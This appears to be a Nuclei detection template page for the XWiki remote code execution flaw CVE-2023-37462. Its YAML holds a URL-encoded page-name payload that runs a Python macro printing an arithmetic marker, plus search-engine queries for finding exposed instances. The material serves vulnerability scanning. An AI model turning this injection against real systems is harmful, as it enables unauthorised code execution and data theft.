XWiki Platform - Remote Code Execution
ID: CVE-2023-37462
Severity: high
Author: parthmalhotra,pdresearch
Tags: cve2023,cve,xwiki,rce
Description
Section titled “Description”XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Improper escaping in the document SkinsCode.XWikiSkinsSheet leads to an injection vector from view right on that document to programming rights, or in other words, it is possible to execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. The attack works by opening a non-existing page with a name crafted to contain a dangerous payload. It is possible to check if an existing installation is vulnerable
YAML Source
Section titled “YAML Source”id: CVE-2023-37462
info: name: XWiki Platform - Remote Code Execution author: parthmalhotra,pdresearch severity: high description: | XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Improper escaping in the document `SkinsCode.XWikiSkinsSheet` leads to an injection vector from view right on that document to programming rights, or in other words, it is possible to execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. The attack works by opening a non-existing page with a name crafted to contain a dangerous payload. It is possible to check if an existing installation is vulnerable impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: This issue has been patched in XWiki 14.4.8, 14.10.4 and 15.0-rc-1. Users are advised to upgrade. reference: - https://github.com/xwiki/xwiki-platform/commit/d9c88ddc4c0c78fa534bd33237e95dea66003d29 - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-h4vp-69r8-gvjg - https://jira.xwiki.org/browse/XWIKI-20457 - https://github.com/fkie-cad/nvd-json-data-feeds classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2023-37462 cwe-id: CWE-74 epss-score: 0.56128 epss-percentile: 0.97681 cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: xwiki product: xwiki shodan-query: - html:"data-xwiki-reference" - xwiki - http.html:"data-xwiki-reference" fofa-query: body="data-xwiki-reference" tags: cve2023,cve,xwiki,rce
http: - method: GET path: - "{{BaseURL}}/bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%22%74%72%75%65%22%20%63%61%63%68%65%64%3d%22%66%61%6c%73%65%22%20%63%6f%6e%74%65%78%74%3d%22%64%6f%63%2e%72%65%66%65%72%65%6e%63%65%22%7d%7d%7b%7b%70%79%74%68%6f%6e%7d%7d%70%72%69%6e%74%28%33%37%32%34%33%34%38%20%2a%20%38%34%37%33%33%33%34%29%7b%7b%2f%70%79%74%68%6f%6e%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d?sheet=SkinsCode.XWikiSkinsSheet&xpage=view" - "{{BaseURL}}/asyncrenderer/{{url}}?clientId={{id}}&timeout=500&wiki=xwiki"
skip-variables-check: true
extractors: - type: regex group: 1 name: id regex: - data-xwiki-async-client-id="(.+?)" internal: true
- type: regex group: 1 name: url regex: - <span class="xwiki-async" data-xwiki-async-id="(.+?)" internal: true matchers: - type: dsl dsl: - body_2 == "31557644536232" - contains(header_2, "text/html") - status_code_2 == 200 condition: and# digest: 4a0a00473045022047eed3a333f802802e9acfa31b2f08c8f695140bde5cef90462e2ec74d2a5af1022100c51d25f3ba6ffbee60b6b95aba21569dbbf08ffa40df034176ce026c00f18a27:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-37462.yaml"